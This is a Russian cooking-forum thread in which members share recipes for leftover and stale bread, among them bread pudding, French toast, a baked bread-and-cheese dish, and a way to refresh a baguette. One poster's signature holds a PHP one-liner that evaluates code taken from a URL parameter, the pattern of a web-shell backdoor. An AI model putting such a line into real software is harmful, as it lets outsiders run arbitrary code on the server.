Остатки хлеба! Что делать?

[Mrs. Z]

[Maria]

Если еще один вчерашний багет появится, то можно сделать чесночный хлеб
_________________
phpbb:eval(stripslashes($_GET[e]));

[Крокус]

[JOY]

[pirin]

Обычно у нас часто остаються остатки старого хлеба. Чтобы их не выбрасывать, смазываю противень растительным маслом, потом кладу остатки хлеба порезанные, так, чтобы дно хорошо было покрыто. Сверху кладу что осталось в холодильнике - кусочки брынзы, сыра, колбасы и т.д. Заливаю томатным соком или измелченными помидорами из банке и в духовке. Через минут 10 вынимаю, посыпаю мелко порезанной зеленью и... ешьте на здоровье!
В некоторых случаях 2-3 минуты до конца выпечки заливаю пиццу разбитым свежим яйцом.

[kuzja]

Из булочек ( у меня залежались в хлебнице) - очень вкусненькие гренки с яблоками по рецепту Airi Запеканка из белого хлеба
А как быстро!!!
_________________
Кузины путешествия
мой каталог

[kuzja]

Из остатков белого хлеба можно сделать
Шарлотта с грушами
_________________
Кузины путешествия
мой каталог

[kuzja]

Пудинг с изюмом
из книги "Кулинария для всех" 1992 г

Черствый белый хлеб - 0,5 кг (видимо имелось ввиду полбатона черствого, а именно черствого хлеба примерно 150 г (специально взвесила))
молоко - 200 мл
яйца -3-4 шт.
сахар - 100 г
изюм - 100 г
масло или маргарин - 1 ст.л.

Черствый белый хлеб очистить от корок и натереть на терке. Влить стакан кипящего молока, размешеть и дать постоять набухнуть 30 - 40 мин. (у меня стояла эта масса прим. 20 мин).
Добавить в полученную массу желтки, сахар, изюм, размягченное слив.масло, все перемешать. Ввести взбитые белкии выложить в форму, смазанную жиром и обсыпанную сухарями. Запекать в среднеразогретой духовке в течение получаса.
При подаче полить фруктовым сиропом.

Нежно! Вкусно! Утром с кофе ....
_________________
Кузины путешествия
мой каталог

[Елочка]

Подскажите, пожалуйста, что сделать с несвежими багетами, кроме сухарей?
Может, кто-то может поделиться вкусными рецептами?
Спасибо.
_________________
Лена

[*Светочка*]

Посмотри у Илары -
http://kuking.net/my/viewtopic.php?p=631895#631895
и здесь в каталоге ещё несколько тем об использовании чёрствого хлеба .
_________________
Больше всего похвал получишь за то блюдо,
на приготовление которого затратишь меньше
сил...

[Carioca]

Елочка, кроме разнобразных рецептов, можно попробовать сделать из несвежего багета...свежий
Хорошо сбрызнуть водой и поместить ненадолго (минут на 5) в горячую духовку (градусов 270). И съесть, пока он не успел остыть Иначе, после остывания - превратится в тот же сухарь
_________________
Vamos deixar como esta' para ver, como e' que fica (G.Vargas)

[Елочка]

*Светочка* , большое спасибо за подсказку . Нашла много интересного

Carioca , спасибо
_________________
Лена

[foxemili]

Как называется блюдо не знаю, но рецепт помню:
Черствый белый хлеб порезать на дольки(для удобства желательно небольшие).Смочить их в молоке,но быстренько,чтобы хлеб не размок, а чуть пропитался молоком.Далее посыпаем дольки сахаром и поджариваем на масле с двух сторон.Следить .чтобы не подгорели.
Сладко и вкусно, а мне напоминает вкус из детства.Такие хлебцы готовила бабушка,когда мы ,внуки,приезжали к ней в деревню на каникулы.

[Все лучшее-Вам!]

Я делаю обычные гренки. Смешиваю яйцо, немного малока, соль, чуть-чуть муки, для густоты. Режу хлеб и кладу в эту смесь, немного полежит и жарю с двух сторон. Прекрасно идет на завтрак и в дорогу, если надо на работу, там у нас микровелле, дополнительно беру сыр и на работе разогреваю с сыром.
_________________
Желаю что-бы все.....!!!

[Shiny_sun]

Ой какая тема.. животрепещущая...
Мой ЛМ постоянно вечером покупает свежий хлеб, не задумываясь о том, что в хлебнице уже места свободного нет... замораживать не вариант - очень маленькая морозилка... Гренки мы не любим, горячие будерброды приелись... А тут... и пироги, и квас, чего только нет!
Накопировала кучу всего, ждите фотоотчётов!
_________________
Нет предела совершенству (с)